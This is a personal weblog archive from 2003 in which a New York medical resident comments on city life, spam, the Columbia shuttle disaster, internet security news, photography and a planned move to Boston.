Finally, New York City’s new 311 call center is getting a little bit of press. I had the chance to talk with one of the developers of the service at a party a month ago, and learned that it came about as a result of our current mayor walking down a street during his campaign and noticing a fire hydrant leaking into a basement. He asked his aides who the owner would call to get the problem fixed, and was given a variety of possibilities — the fire department, the buildings department, the landlord of the building — and then when he learned that the real answer was the Department of Environmental Protection, he decided that there needed to be a centralized way for a NYC resident to get answers like this, not to mention to take care of the problems themselves. The city brought 311 online on March 9th, but didn’t advertise it at all, instead allowing agencies to start directing calls its way as their functions were centralized. And most interesting to me, any issue that isn’t completed by the end of the phone call is issued a tracking number, allowing callers to get status updates on the solutions to their problems. Bloomberg’s invested a lot of time and money in creating the 311 service, and it looks like it could revolutionize the relationship between NYC government agencies and their constituents.

(One interesting factoid: 212-NEW-YORK is the phone number people would use to access 311 outside of New York City. Cool!)

In what can be seen as an indication of just how big the problem has become, the war against unsolicited email hit the front page of the New York Times today. While not a terribly detailed article, it goes a little bit into the cat and mouse game that spammers and Internet service providers play on a daily basis, and talks about a few of the options that both ISPs and end users have employed trying to stem the tide. It also provides a few overwhelming statistics, such as the fact that 45% of email headed into Earthlink’s mail servers is now junk, and over 70% of that inbound to AOL is unsolicited. (We’ve all had a hint of this huge surge, both from the increasing numbers in our own inboxes and from those who keep us informed about how much crap ends up in their inbox.) The most frequent defense proffered by spammers is that the absolute most they’re forcing users to do is hit the delete button, but these numbers are this argument’s best refutation; there is a hell of a lot of network and hardware capacity that currently has to deal with email that nobody requested and nobody wants, and it’s all paid for by the unwilling recipients in the form of higher access and hardware costs. Luckily, as the numbers continue to rise, and corporate America continues to find itself buried under masses of unwanted email, lobbying for legislative solutions can only become more effective. Until then, though, I recommend continuing to make the spammers’ lives hard on both a business and personal level, by using collaborative mail filtering services, participating in projects that are able to continually adapt to the tactics of the spammers, and engaging in one’s own alternative solutions.

(Incidentally, I’m proud of the Times author for using the domain name example.com in his explanations, since it’s reserved for just this purpose. Too many other people choose random domains for their examples, leading to a lot of spam in the inboxes of the legitimate owners of those domains.)

I’ve spent the last few weeks looking for a good, inexpensive content management system, one which could serve as a replacement for the inadequate, buggy platform on which a project I’m involved in runs. I’ve installed about two dozen of the options out there, and evaluated twice as many more , and I have to say that there’s truly nothing inspiring to speak of. Nearly every CMS is built on its own confusing, overengineered foundation, and as a result, they all build equally confusing and overengineered websites. In addition, most of the CMSes focus too much on specialized features rather than generalized content management, incorporating modules that add weblogs, shops, bookmarks, Google searches, P2P messaging, photo galleries, polls, and advertising banners, among many other things. And then, to top it all off, pretty much none of the CMS options have documentation that’s worth a damn, making it that much harder to figure out the workflow and structure of the data representing the all-important content.

After seeing so many recurrent issues, I’m starting to believe that they’re not problems with the products, but rather, problems with the entire idea of content management systems that are applicable across projects and industries. Vignette may be great for news sites, but it doesn’t hold up as a medical database; Slash works out well as an online forum, but it’s a poor fit for a photo gallery site. The site I want to move is specialized in its own way, as well, and finding a CMS that works for its purposes without forcing users to jump through unnecessary hoops is proving to be immmensely difficult. Thus, I’m now at a crossroads: keep looking and thinking about how to work around the structure of a CMS, or decide to build my own. Maybe the latter option is the best, acknowledging as it does that there’s no such thing as a content management system that can manage every single website.

What an awesome picture! It always makes me happy to see the photo wires move images that give a story a little bit of color.

Wow, do I want me a Leica D-Lux. Over three million pixels on the CCD, a Leica-fabricated lens with 3X optical zoom, an aluminum body, unlimited video time, USB 2.0, and two lithium ion batteries — it’s an amazing package, and it very well may replace the Leica Digilux 1 as the digicam I would least mind seeing show up on my doorstep. (And if my impending graduation from my pediatrics residency isn’t reason enough for someone to send it to me, then I don’t know what is!)

If I’ve learned anything over the past ten years about rollerblading in Central Park, it’s that your level of enjoyment is directly proportional to your powers of anticipation and forecasting. Stated more succinctly: while whizzing around the loop, it’s important to keep your eyes open and be aware of everything that’s going on around you. Is that couple walking to the Boathouse going to get all the way across the loop before you reach them, or should you start figuring out a path around them that minimizes your loss of momentum? When you reach that clot of people extending all the way across the exercise lane, will their relative speed differences have created a manageable path through the blockade, or should you be looking for a spot to hop onto the sidewalk and zip right by them? Is that woman walking with the stroller going to continue to weave around on the roadway, and if so, are you both destined for the same patch of asphalt at the same time? (Alternately, is that woman with the stroller going to suddenly realize that the big, paved sidewalk immediately inside the loop was built so that people wouldn’t stroll in the exercise lanes of the roadway?)

And if that’s all not hard enough, there are certain times during the day that Central Park is open to cars, meaning that venturing out of the third of the road limited to bikers, bladers, and runners is an invitation to become either a hood ornament or road kill. If you’ve ever crossed an intersection on foot in NYC, you know that the likelihood of anticipating the future path of a cab is similar to that of hitting the Powerball; when you’re traveling 15 miles an hour on an unstable base of inline wheels, and the line separating you from the cab is only four inches thick, doing so takes on a whole new level of importance. Is that cab going to use the exercise lane to pass that Parks Department truck he’s been riding tight for a quarter-mile? Do you need to speed up a bit to get across the 72nd Street transverse, or will you reach it at the same time as that stream of cars, forcing you to stop and wait?

All in all, rollerblading in Central Park is a great way to exercise, complete with beautiful views, great places to rest, and the everpresent chance to spot celebrities. But if you’re the kind of person who likes to tune out while you sweat, then it may not be for you; self-preservation requires you to stay on your toes.

Listen, all you downtown snobs, you can say what you want about my Upper West Side, but I’ll just stay quiet up here, content in the knowledge that you’re all fatter than us.

No matter where you weigh in on the current conflict in Iraq, I recommend reading Eason Jordan’s op-ed piece in today’s New York Times. It’s a powerful demonstration that the presence of free world media over the past decade in nations like Iraq hasn’t necessarily meant the exposition of the atrocities that take place in those nations; basic human empathy, at the level of those in charge of the news bureaus, has intervened to protect those most vulnerable to retribution. (Of course, that fact also leads me to wonder what we don’t know about in other similar nations, like China.)

So, I was in the back of a taxi this evening coming up Amsterdam Avenue, and at 72nd Street, I decided to open up my laptop and see how many wireless access points were visible along my trip. Between there and 120th Street, I picked up 180 WiFi nodes; only 48 of them (27%) were WEP-protected. Of course, there’s no telling how many of them were willing to dole out an address to me, nor how many of them had filters preventing random computers from connecting, but that’s still damn impressive, and way more access points than I would have thought I’d see. There were plenty of interesting nodes, too: a bunch for Columbia University, one at St. John the Divine, one in a New York City Housing Authority building, two NYCwireless nodes, and one beaming out the bedroom window of a certain Filipino broad. There were also a dozen or more powerful nodes named TBA; I wonder if there’s a wireless project in the planning.

Nonetheless, if you’re looking to cop some free wireless access in New York City, I’m pretty sure that you can just set up shop at any of the sidewalk cafes along Amsterdam Avenue and surf away!

Whether or not you believe that elephants can actually run, one fact that’s now beyond debate is that, while moving quickly, pachyderms never have all four feet off the ground at the same time. While conducting a modern-day variant of Eadweard Muybridge’s famous 1878 horse experiments, John Hutchinson also clocked the huge animals at nearly 16 miles an hour (five miles an hour faster than his previous estimates). His findings were accepted for a brief communication in the journal Nature; there’s more information over at Hutchinson’s website, including the article itself (in PDF format).

There’s an interesting article in the New York Times about the closure of a few movie theaters on the Upper West Side of Manhattan, going into a lot of detail about the history of all the movie houses along Broadway, and the tough roads ahead of smaller theater owners as they, like all New Yorkers, face gentrification and the higher real estate prices that go along with it. I imagine that Manhattan has always been like this, with the push and pull of society and the economy doing a lot to determine the content of this itty bitty island; it’s amazing to me that any small businesses still find themselves able to afford setting up shop in the city. I just hope that Manhattan isn’t becoming one huge strip mall…

I don’t know why, but I think it’s so damn cool that Kareen Abdul-Jabbar and Bobby Hurley are actively pursuing the head basketball coaching position at Columbia University. The word in the press corps is that neither are likely finalists for the position, but still, it’s nice to see that Ivy League basketball is still considered a worthwhile pursuit at the coaching level.

Doesn’t it just seem logical for NASA to gather photos of orbiting space shuttles from military satellites? The NASA and military people quoted in the article imply that the image quality won’t be quite as good as we’d all assume, but that just doesn’t seem honest. It’s relatively well-known that the current generation of commercial imaging satellites have sub-meter resolutions back to the surface of the Earth, and fair guesses place the resolution of U.S. reconaissance satellites at somewhere less than four inches. Now, move your target a few hundred miles above the ground — and above the distortion of the atmosphere — and I feel confident guessing that the military’s best satellites would be able to show you the expression on an astronaut’s face. And if images from the satellites provide options for shuttle controllers in the event of in-flight problems, then that’s a major plus for the space program.

Something interesting and new to play with: Fotonotes.net. It’s a tool that allows you literally to annotate your images (well, JPEG images), providing information about the content of the pictures to people who are viewing them. It’s sort of like captioning them, but within the image itself; the information is only visible when the viewer wants it. (Dan Gillmor explains the technology a little better than I do.) The fact that it only works with JPEGs, and that the information is actually written within the image file itself, leads me to believe that the tool uses the IPTC metadata standard. If that’s the case, then there are a ton of other tools that should be able to read, if not manipulate, the information as well.

In a move that surprises nobody, AOL Time Warner is pulling free content from all its magazines’ websites, starting this weekend with People and Entertainment Weekly. Between AOL’s first-ever quarterly loss of customers and all the talk about how it’d make sense for Time Warner to dump the Internet service on its ass, it makes sense for AOL to leverage the content of the Time, Inc. magazines in order to get its subscribers back. It remains to be seen, though, whether anyone feels that People and EW offer unique enough content to justify shelling out $25 a month for a dialup provider…

We’re back from Puerto Rico (well, I’m back from Austin and San Antonio and Puerto Rico, and Shannon from the latter two), and it was an amazing trip all around. Good old and new friends in Austin, good old friends in San Antonio, and a big block of relaxation in Puerto Rico make for a good two-week break. (And nearly as good was coming back to find out that I didn’t fail the boards, and that Lia did a bang-up job taking care of the kitties and plants.)

More on all of this later; I have to be back at work in less than 10 hours…

the texas capitol building, austin

Goodbye, Austin, and SXSW 2003; it was a fun trip. Now, onto San Antonio for a few days, and then a week in sunny Puerto Rico for drinks with tiny umbrellas in them…

I’m glad that, in this time of threatened war and a terrible economy and whatnot, our Congress is working hard. Sure makes me feel more secure about our leaders…

A tip, for everyone who’s broadcasting their unencrypted passwords over the free wireless network at SXSW: don’t, since I’ve seen at least half a dozen people capturing packets off the network just to see what they can see. If you’re using one of the big commercial web-based email services, use their secure login, not the standard one; if you are uploading files to your webserver, use secure FTP or secure copy, not FTP. Likewise, realize that Outlook, Entourage, Eudora, and most every other mail client sends your password across the network as clear as day unless you set them up to use an encrypted service (and then have that service running on your mail host). Posting to your weblog is no exception, either (unless you want the person who grabs your login and password to also be able to work on your site); set up a secure tunnel back to your weblog host, and then use that to do your posting.

I’m glad to see that Matt’s trying to get back to writing longer essays. His latest piece is a fine review of the great features that Mozilla has made users expect from their web browsers, and it makes me remember how much I have enjoyed reading Matt’s perspective on the world.

The subject matter of the piece also made me remember a conversation I had with Anil recently, discussing Internet Explorer’s lack of a popup-blocking function. We both came to the conclusion that, in this day and age of the overwhelming proliferation of popups, the only possible reason that IE omits the function is a fear that Microsoft will be somehow blamed for yet another move destined to hurt the little guy, in this case, the advertiser trying to make money on the web. (Remember when IE was the first to implement third-party cookie blocking, and how people complained that Microsoft was being unfair to advertisers?) By resting on the huge browsing majority and letting popup blocking gain acceptance (or, more appropriately, achieve required status) with other browsers, you can bet that there won’t be a peep when the next version of IE includes the feature.

There are a lot of annoying things about working the overnight shift in the emergency room, but one huge entry in the plus column is that I can walk into the bagel bakery across the street at 6 AM, just as they unlock the front door, and have my choice of any steaming hot bagel my little heart desires.

Am I the only one that finds it terrifically ironic that Time Warner has national television commercials trying to convince people that they should get Roadrunner-brand cable modems so that they can more efficiently swap music with friends?

Generally, I’m pretty content with the understanding that there are probably quite a few threats to peace and security in the United States about which the lay public never learns. (After all, it’s the premise of the most basic spy thrillers, including most of the Bond movies — a brewing plot to destroy civilization as we know it is undone at the last second by secret agents, and life continues unaware of how close it was to coming to an end.) That being said, I’d love to know why there have been around a half-dozen National Guardsmen, armed to the teeth, in the subway station underneath the hospital the last few times that I’ve arrived for my overnight shift…

If you’re the administrator of a machine that runs sendmail, there’s a nasty security problem that found its way to the surface today. Discovered by the people at ISS, the bug allows someone to compromise your machine simply by sending a specially-formatted email; firewalls aren’t going to help you on this, since it’s the contents of the email that trigger the security breach. The list of affected systems and operating systems is pretty extensive, so you might want to peruse it before assuming that you’re not vulnerable.

Rarely a day goes by that I don’t learn something else about New York City. Today’s find, via an article in the New York Times: the New York Cross Harbor Railroad. It’s one of the shortest railroad lines in the United States, with only one and a half miles of track, a bunch of carfloats, and a single active locomotive. The line serves to move railcars from Brooklyn to Greenville, NJ (which means a trip across New York Harbor); on the Brooklyn side of the water, the train actually runs along city streets in order to pick up and deliver its cargo. The carfloats meander across the Harbor once or twice a day, providing shippers who don’t want to travel the extra 150 miles to Albany with a shortcut across the Hudson River. As you’d expect, the line faces many difficulties, from double-parked cars blocking its tracks to fog in the Harbor to the dwindling resources devoted to surface freight in New York City; despite this, it continues on, providing the city with a tiny anchor to its manufacturing and shipping roots.

Today was guy’s day out in my family, our annual celebration of my father’s birthday at the Peter Luger Steak House in Brooklyn. If you’re in New York and have never been, do yourself a favor and drop in sometime; most importantly, get the bacon, which may well be the tastiest morsel of food that’ll ever pass your lips. For the first year, the girls organized a competing lunch, and afterwards, we all met up at my sister’s new apartment to ooh and aah at her latest ultrasound pictures and catch a little of the Spurs game. It was a great day, and it’s the perfect example of something I’ll miss terribly when I move to Boston this summer.

I’m glad to note that SpamAssassin 2.50 has been released, bringing Paul Graham’s now-famous Bayesian filtering idea to the world of detecting unsolicited email. The new version also brings improved rules for detecting the telltale signs of bulk mailings, as well as a better way of modifying mail it suspects is spam (it encloses the original mail as an attachment, and then changes the main message to a preview plus an explanation of why it thinks the mail is unwanted). Mostly, I’m happy that the release made it into the world at all, given Deersoft’s acquisition by Network Associates last month. Here’s hoping to continued open source releases…

I don’t think I can put into words how cool I think this project is. James Meehan strung together a helium-filled balloon, a radar reflector, a Garmin GPS receiver, an Aiptek Pencam, a ham radio, and a computer system built from off-the-shelf components, and launched it all as an amateur weather balloon. It travelled nearly 80,000 feet into the air, sending reports back the whole time; the reports contained location information, allowing James and his team to track it while it was in the air, find it when it landed, and retrieve all the pieces (including the pictures taken by the camera). He called the experiment “Balloon 1.0,” which leaves me optimistic that there’ll be a few more iterations to come.

Shannon and I snuck up to Boston last night, a planned-at-the-last-minute trip to scout out the lay of the land for my eventual move this summer. It’s too early to start looking at actual apartments, so we spent today just driving and walking around neighborhoods — Brookline Village, Coolidge Corner, Jamaica Plain, Longwood — trying to feel whether or not I could call any of them home. A lot of the dread that I’ve been feeling over the past few months about the move is rooted in the fact that I’ve built up a lot of comfortable stasis in New York; to wit, I’ve spent college, medical school, and now residency at the same institution, I’ve lived in the same amazing apartment for nearly eight years, and my entire family is arranged neatly around me on the island of Manhattan. Moving away from all that isn’t easy, so the goal of this weekend was simply to begin getting a feel for the new life I’ll be starting in July, and maybe to see that there are places here to plant a new root or two. A vibrant neighborhood, a few beautiful apartment buildings, a ride past my new hospital on the T, a great dinner with friends — today, all of these things helped me take a few steps towards being ready to get on with things. None of it makes it any easier to leave New York, but all of it makes it easier to come to Boston, and there’s nothing but good in that.

sxsw kick 2003

Thanks to Eric Lacombe, the 2nd annual SxSW kickball game has a brand spankin’ new logo. Andre Torrez recommended him to me, after the great job that Eric did on Andre’s logo; I’m happy to say that he accepted, and the game’s all the richer because of it. Go check out the loot shop, complete with shirts and whatnot with Eric’s new logo, and buy stuff to support the game!

I’m starting to get excited about SxSW 2003, if only because of all the activity in the weblog arena lately. There’s Google buying Pyra, AOL sniffing around the periphery, the debut of TextPattern, the announcement of Movable Type Pro, the promise of Meg and Nick’s collaborative Lafayette Project, and whole slew of other, smaller interesting tidbits. Now, I know that SxSW is about a hell of a lot more than weblogs, but part of my connection to the conference is through my personal site. As my medical life exerts more and more pressure on my site and database design life, QDN remains the excuse that I use to justify the amount of time I spend learning new programming languages, content management systems, web standards, and design skills. Last year, I was glad to get a chance (if only for two days) to listen to people who have worked wonders in the world of interactive media, and I feel like I came away from the conference with a good deal more knowledge, not to mention the buckets of respect for the collective intellect that’s devoted to building a better web. If all the positive energy in the weblog world this year has any meaning, I’m eager to get back to Austin this year.

(Of course, I’m also excited about Kick 2003, but that’s a post for later this week…)

I mean, I know that we were expecting snow tonight, but holy crap did it start snowing in a hurry!

the blizzard of 2003

When Shannon and I walked into my parents’ apartment tonight for dinner, it was crisp and cold out, with nothing in the air but the mist coming off our breath. About fifteen minutes later, you could make out the barest of little snowflakes silhouetted against the glare of the streetlights below; within a half an hour, the sky was full of snow, blowing parallel to the ground and getting caught in swirling eddies around the trees in Park Avenue’s median. By the time our bellies were full, the roads were covered curb-deep, and we decided to try to get back across town. Somehow, it only took two or three minutes for Shannon and my sister to flag down the only cab that wasn’t either already taken or fishtailing its way across the unplowed streets (or both). The trip back to the Upper West Side was slow going, but we went through the Park, and the view of the trees and rock walls covered with flawless snow was more than worth the time it took. And while the sidewalks of the Upper East Side were mostly deserted, those over here have a few curious souls on them, showing their children the deep snow and enjoying the magical white blanket that comes but a few times a year.

The Commerce Department announced yesterday that it was expanding the eligibility for .edu domain names to all U.S. educational institutions which have been accredited by an agency on the Department of Education’s list of recognized accrediting agencies. This means that a whole host of vocational schools — massage therapy schools, midwifery training institutions, cosmetology programs, and Montessori schools, to name a few — are joining the .edu neighborhood. The change has come with a bit of complaining, of course, mostly from the elder elite who feel that .edu should remain the province of the upper crust; a retired Princeton administrator was actually quoted on the AP wire as saying, “Somebody who goes six months to a beauty school, I would not consider in the same league as somebody who’s even been two years at a community college…. There’s too much dumbing down already.” I have to ask: are there really people who judge a person’s academic worth on whether or not his educational email address had .edu at the end? (And as if a Columbia guy like myself needed another reason to look down on Princetonians…)

I think that I’m big enough to admit to the fact that tonight, while deleting the 2600 unsolicited email messages I have received in the past 8 days, I totally failed to appreciate the irony of the three messages entitled “Tired of Deleting Junk eMail?”.

I can’t wait for there to be a tenable way to stem the tide of spam.

A few collected links about the Hudson Railyards, which was pictured behind Alison on our High Line jaunt and is the proposed site of a massive development project:

Today, the scientific part of my brain was in control at the exact time necessary to help me put my finger on what it is I hate most about the Washington Post website’s idiotic, intermittent survey: it collects terrible data.

I use many computers in the course of a week. I have a half-dozen machines in my apartment, another one at Shannon’s, one on my desk at the hospital, and two on my desk at the magazine for which I do occasional work. There are also a dozen computers on every floor of the hospital, and a dozen more computers at my outpatient clinic. Add to that the two computers at my parents’ home, the one at my brother’s apartment, and the one at my sister’s, and of course, don’t forget the umpteen public terminals out there — at libraries, airports, Internet cafes, conference centers, and hotels — that I’ve used on occasion. We’re talking about a lot of machines here, and I’m reasonably certain that the Washington Post has counted me as a 29 year-old New York City male on each and every one of them. According to their database, there are dozens of keyboard-happy Manhattan twentysomething men banging down their virtual door; their automated ad generator spends countless cycles of processor time dreaming up sales pitches for bagels with schmears, spacesaving hardware projects, and Chinese take-out. And given my penchant for reinstalling operating systems (or, at the very least, clearing out my web browser cache and cookies) every now and then, the WP site counts me again and again and again.

I used to think that the best answer was to give them false information — once an octagenarian woman from Burkina Faso, the next time a months-old baby boy from the French island department of Reunion. The survey attempts to assuage those of us who hate filling out the form over and over by promising that the survey will help them better know their readers, improve the website, and serve better ads; it became fun to try to figure out what their marketing drones were going to choose as the best products to push to 110 year-old Micronesians. It eventually became easier to just enter my real information, though, but today I came to the realization that repeatedly doing so may be the best way of all to poison their database.

Since I was nominated for a PhotoBloggie today (the Best Photo Essay on a Blog category, for the High Line pictures), and I walked out of the hospital into a surprise snowstorm (well, a surprise to me, in any event), I figured that a photo might be in order:

snowfall in manhattan

Even that picture doesn’t do the snowstorm justice; the flakes are plump and airy, slowly wafting down and in no rush to join their colleagues on the street below.

Whenever I stay at Shannon’s apartment, my morning walk to the subway takes me down a long crosstown block that has angle parking. Every single morning that I walk that stretch of Manhattan pavement, there are at least three specific cars that are illegally parked, a black Lincoln Continental that’s nosed into a fire hydrant, a maroon Bonneville that’s up against another fire hydrant, and a dark grey Cadillac-type sedan that sits in a zebra-striped loading zone. All three cars have laminated signs on the dashboard identifying their drivers as members of the NYC police force.

The short walk from my apartment to Shannon’s takes me past the neighborhood police and fire stations, and on the block, there are invariably about a dozen cars, trucks, and SUVs parked illegally — in crosswalks, against fire hydrants, double- and triple-parked, blocking driveways — all with either shields or laminated signs on the dashboards. The volume of illegal parking on the block has made the extra-wide sidewalks into valid driving lanes, used to escape parking spots that remain blocked for hours and hours; it has also caused otherwise-legal parkers to leave their car six or eight feet out from the curb, so that there’s no room for someone to illegally block them in.

I gotta say, as an occasional New York City driver, count me in as strongly in favor of the aggressive enforcement of this city’s parking laws, but make sure that the new swarms of traffic cops ticket everyone, not just us hoi polloi who don’t have a badge.

Normally, I’m not one that gets too excited about anti-war rallies, but it seems that the activist community has finally hit on a strategy for protests that has a chance of getting me out of the house. It’s marketing melded with social awareness, at its finest!

If you’re looking for a real, in-depth look at Howard Coble’s idiotic defense of Japanese-American internment camps, head over to Is That Legal (starting with the February 5th entries). Eric Muller provides informative and well-researched background on the camps, from their origins in biased research done by the Secretary of the Navy to the voices of reason that were silenced in favor of racist, reactionary politics. He also puts a good deal of work into debunking Coble’s attempt to claim that internment camps were primarily for the protection of Japanese-Americans, and sent the explanation to Coble’s office as an added bonus.

I can’t believe that this schmuck just won himself another term in office.

What do you think makes an applicant more attractive to a college, getting great grades and working hard in an internship, or having a propensity for filing lawsuits against your school demanding better grades? Does the fact that the lawsuit is over a grade given by the applicant’s mother change the answer at all? How about the fact that the lawyer representing the student is that same aforementioned mother?

What a depressing piece of news: “Even if flight controllers had known for certain that protective heat tiles on the underside of the space shuttle had sustained severe damage at launching, little or nothing could have been done to address the problem.” Of course, there’s part of me that hopes that, had NASA or the orbiter crew known about the damage, another option would have presented itself; after all, I can’t imagine that anyone would have been able to predict the sequence of events that led the Apollo 13 astronauts to survive their ordeal in space. Given the amount of national grief, it seems that had anyone known that the lives of the seven astronauts were at such risk, nothing would have been spared to get them down.

When you’re a cat, life sure is tough…

sammie, oblivious to the world

Berkeley’s computer science department has provided yet another breakdown of last week’s SQL Server worm, this one more epidemiological than technical. One of the most impressive parts of the report is a Wargames-like graphic that shows the reach of the worm in its first 30 minutes of life; there are also good graphs showing both the packet traffic generated by the worm and the rapid decline in its traffic as system and network administrators responded. (Something that particularly interests me is that the traffic analysis was done in a “tarpit” network — a network that’s used only to collect data on incoming, unrequested packets like those used in virus or worm attacks — at the University of Wisconsin Advanced Internet Lab.) One of the big lessons to take from the data is that, with a rate of spread that quick and a penetration into networks that deep, a more malevolent worm could cause a hell of a lot of damage.

Since most of the new coverage of the Columbia disaster is perseverating on potential causes and the presence of the first Israeli astronaut, I’ve been surfing in an attempt to find out more about the mission. One thing I discovered that’s of interest to me is that STS-107 was possibly the last pure science mission for the Space Shuttle program in the forseeable future. As I mentioned earlier, Columbia was the first, and heaviest orbiter, and prior to its rehabilitation over 2000 and 2001, it was unable to reach the orbit of the International Space Station, and was perfect for science missions. Now, the future schedule for the Shuttle program is packed with ISS contruction missions, and science has mostly been displaced.

There were over 80 scientific experiments aboard Columbia, all of which were designed to exploit microgravity in the study of how cells, flames, organisms, magnets, and basic human biology operate. In addition to the crew, there were rats, garden orb weaver spiders, silkworms, fish, carpenter bees, and harvester ants on the orbiter, and countless colonies of human tissue cells and bacteria. There are factsheets for many of the experiments available online; there’s also a website, currently either down or overloaded, for the Space Technology and Research Students (STARS) Academy, a research organization that developed and sponsored many of the research projects. I have no idea how much data was gathered and transmitted back from these experiments, but there’s undoubtedly a great deal more data that was lost in the disaster.

Florida Today is the best source of collateral information on the mission that I’ve found; the site also has an amazing journal that has been kept for the duration of the landing and aftermath.

Tragedy strikes the U.S. space program again, for the first time since 1986. The Columbia orbiter was the first in NASA’s fleet, delivered in 1979 and first launched in 1981; it has gone through a retrofit and two complete overhauls since, though, and was most recently returned to service in early 2002. It also was the only orbiter originally not involved in the building of the International Space Station, since its weight made it impractical for carrying the necessary heavy equipment and modules into orbit. It came out of its last overhaul lighter and capable of reaching the ISS, however, and was scheduled to start helping with construction in November. (Interestingly, one crew member of that November launch was supposed to be Barbara Morgan, who was Christa McAuliffe’s backup on the fated Challenger mission.)

Last time the U.S. lost an orbiter, launches were postponed for nearly two years while the investigation was completed and modifications were made. This time, there are two big differences, and unfortunately, it seems to me that they conflict with each other. First, there doesn’t appear to be any video (or other precise witness information) about the Shuttle failure; after the Challenger disaster, the video appears to have played an almost critical role in the investigation, and I wonder what its absence will mean to the length of time it will take to determine what happened this morning. Second, and more importantly, we have astronauts up on the space station right now, and they’re supposed to be retrieved and replaced next month. I wonder if we’ll rely on Russia’s Soyuz transporter in the interim (since, as far as I know, it’s the only option available to us for manned spaceflight to and from the ISS). (Funny — while I was writing this, Time published a question-and-answer piece that ended with the same conclusion.)

What a terrible disaster.

It appears that even here in 2003, the Y2K problem hasn’t totally been tackled. I love the woman’s response — that last time she went to school, she had to walk an hour each way, so the free bus ride would be a welcome change. Still plucky at 106 years old…

A big bang-up accident just happened outside my window. Living seven floors above Broadway, all I heard was the screech of a set of brakes and then a rapid-fire series of huge crunches. A BMW 5 series is impaled into a Lincoln Towncar at a right angle; the Towncar is askew in a parallel parking place, and the BMW is awkwardly sticking out across two northbound lanes of Broadway, xenon headlights reflecting weakly around the edges of the hole it has made in the door of its target. A BMW 3 series is sitting in the middle of the intersection at 100th Street, its entire front end sagging and demolished into little, shiny, metallic bits that are now spread across the road. People are wandering around all three cars, seemingly content that nobody is injured and moving the larger projectiles out of oncoming traffic. And, as always, the cars that are backed up are honking and honking and honking, oblivious to the cause of their delay, anxious to get on with their commute home.

As anyone with an .org domain probably knows, the master registry for all such domains changed hands over the course of yesterday and today, from the devil incarnate to the Public Interest Registry. Some of the web-based domain lookups are confused by the transition, so I hunted around the web for the name of the actual WHOIS server for the new registry, but came up blank. A quick call to the PIR came up with the info, which I present here now (both as a reminder for myself, and so that nobody else comes up blank): whois.publicinterestregistry.net. Use it in health, all the while knowing that it’s one less piece of the Internet in the hands of evil.

Perhaps the best description (and dissection) of the worm that caused havoc here on Saturday, and continues to cause general slowness across the Internet, is over at Matthew Murphy’s site. I’ve got to say, as much annoyance as the virus has caused, it’s beautifully elegant; its simplicity, though, is what has led to the ease with which the damage has been controlled.

Oh, great. Between a new PalmPilot text entry method, a new set of web page markup tags, and an entirely new subset of pediatric medicine, I have a feeling my brain may very well explode over the next twelve months.

CERT has become a de facto authority for reporting computer application- or operating system-related security issues, and has a special category of reports (CERT Advisories) that reports only those issues that are deemed severe enough to lead to system compromise. In looking up information on an old bug today, I came across CERT’s page of 2002 advisories, and was surprised to see that out of the 37 reported, only 10 of them were related to Microsoft Windows; out of those 10, three were for third-party applications that run on Windows, and one was for a vulnerability shared by pretty much every major operating system out there. In contrast, 24 of the advisories were related to Unix or Linux systems (and two others were PHP-related, which I’m probably not out of line saying is run far more often on non-Windows machines than on Windows ones). To me, this is just another data point for the argument that a lot more is made of Microsoft’s security deficiencies than is actually there, at least when CERT’s perspective is taken into account.

Do yourself a favor, and read William Saletan’s article about the ease with which the press has been manipulated into reporting a story that has yet to have a shred of evidence. And when you get through the first paragraph and decide not to continue reading because you’re sick to death of the entire Raelian clone story, keep reading, because there’s a twist, and it’ll probably make you think a little bit.

For everyone who’s as addicted to the show as I am: The Truth About Trading Spaces. There aren’t a whole lot of surprises here, but rather, verification that there are a few other people helping out with the work (both the in-room work and the carpentry), and the budget isn’t as tight as we’re led to believe (since “general supplies” come out of a $30K-per-episode production fund).

It looks like the first salvos are being fired by mainstream television against digital video recorders (e.g., TiVo, ReplayTV) and their ability to allow people to skip commercials. Ad revenue is what keeps the networks on the air, but as PVRs become more popular, the argument is that commercials get seen by less eyeballs. Despite the television networks calling this outright theft, Dave Farber astutely noted earlier this year that the solution wouldn’t come from a courtroom, but rather, from television discovering other ways to integrate advertising into broadcasts. It looks like the WB is the first to the new feed trough, and it will be interesting to see how the public reacts to it.

There’s potential bad news in the war against unsolicited email: Deersoft has been acquired by Network Associates. What’s so bad about this? Well, Deersoft is the company set up by the makers of SpamAssassin to market the awesome spamfighting application to corporations, and with its acquisition, the two leading developers on the project are now lost to the world of proprietary software. (In addition, the third major developer, and the sole developer of version 3.0 of SpamAssassin, left the project this morning, since he’s employed by a competitor of Network Associates’.) The FAQ acknowledges NAI’s dedication to making any new development proprietary, which makes me fear that there won’t be much more magic coming from SpamAssassin without opening up your wallet.

Although I now look like a Paul Boutin groupie, he’s got another good article on Slate, this time describing the new 17” Apple G4 laptop as, variously, a Cadillac Escalade, a tricked-out hoopty, a mall crusier, and most aptly, a lust object. Seriously, though — 10.2 by 15.4 inches in size? That’s huge! I wonder how much of a real market there is for this machine, no matter how much lust it generates.

Paul Boutin addressed the shortcomings of the newest audio formats (DVD-Audio and Super Audio CD) over at Slate yesterday; depressingly, the biggest problems he noted are the compromises that were made by companies who will produce readers for the music discs. No hardware that can be installed in computers? No digital outputs on any hardware? What good is all that improved digital clarity and detail when it’s trapped behind analog converters? It’s such an amazing crock, and at a certain point, it gets hard to take any of this seriously.

Oh, this just sucks. At least instead of hiding behing the refereeing error, though, the Giants are taking responsibility for their second-half suckage Sunday night.

So, the proof wasn’t proof at all, but rather, evidence that Microsoft either is using HTTP 1.1’s persistent connections, or that the company actually reads old proposals for making Internet communications faster, and then implements them to make its products better than the competition. I haven’t done a packet capture on the conversations between IE and various webservers yet, so I’m not sure which it is; I’m just embarrassed that I bought into the “evil empire” argument, if only for a few days.

Oh my god, just kill me now, because if you don’t, then the FPS Personal Backpack Audio System assuredly will. I can only imagine how annoying it’ll be to have every damn schoolkid in New York City walking around the streets, buses, and subways blaring their music. (Thanks to our friends at Gizmodo for the heads-up.)

Compare and constrast this airport security experience with this one. It’s a little sad that bureaucratic favoritism is alive and well at airport checkpoints, the very place where personal freedom faces one of its biggest tests in this country’s recent history. I’m pleased, though, that instead of happily accepting the favoritism, Penn Gillette is publicizing his treatment and the response that he got from the Las Vegas airport’s public relations, and likewise, that he seems committed to using his disposable income to help secure equally rigorous protection of the rights of us non-famous people.

